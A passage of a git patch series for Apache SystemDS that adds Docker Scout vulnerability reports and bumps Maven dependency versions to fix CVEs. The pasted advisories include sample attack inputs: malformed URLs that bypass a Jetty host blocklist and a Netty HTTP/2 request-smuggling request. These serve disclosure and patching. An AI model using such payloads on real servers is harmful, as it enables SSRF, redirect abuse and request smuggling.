io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.140%
EPSS Percentile35th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/pom.xml b/pom.xml index 84629d6dea3..608b5df1a00 100644 --- a/pom.xml +++ b/pom.xml @@ -292,6 +292,17 @@ commons-configuration2 2.10.1 + + + org.apache.hadoop.thirdparty + hadoop-shaded-guava + 1.5.0 + + + com.google.guava + guava + 33.5.0-jre + From 6e7e4af03db5079e6a36d84f39c365b5aebbc0f4 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Thu, 22 Jan 2026 11:43:54 +0100 Subject: [PATCH 12/31] [MINOR][SYSTEMDS-3878] Fix additional medium-severity CVEs in transitive dependencies This patch extends the security fixes for multiple high-severity CVEs by adding version overrides in dependencyManagement for additional vulnerable transitive dependencies. New version properties and dependencyManagement entries added for io.netty: - netty-codec-http - netty-codec-smtp - netty-codec upgraded to version 4.1.129.Final to solve the following vulnerabilities: CVE-2025-67735, CVE-2025-58056, CVE-2025-58057, CVE-2025-59419 --- .../medium-cves/sysds_output12.md | 1114 +++++++++++++++++ pom.xml | 7 +- 2 files changed, 1118 insertions(+), 3 deletions(-) create mode 100644 docker/scout_results/medium-cves/sysds_output12.md diff --git a/docker/scout_results/medium-cves/sysds_output12.md b/docker/scout_results/medium-cves/sysds_output12.md new file mode 100644 index 00000000000..a7be4936bf9 --- /dev/null +++ b/docker/scout_results/medium-cves/sysds_output12.md @@ -0,0 +1,1114 @@ + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli + ✓ Image stored for indexing + ✓ Indexed 357 packages + ✓ Provenance obtained from attestation + ✗ Detected 15 vulnerable packages with a total of 34 vulnerabilities + ✓ Report written to docker/scout_results/medium-cves/sysds_output12.md +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:bfc78a15125f7413bd1b16fbe093e9f730ddc18c7d6f545c62f691b6e6d31124
vulnerabilitiescritical: 1 high: 9 medium: 19 low: 4 unspecified: 1
platformlinux/amd64
size370 MB
packages357
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
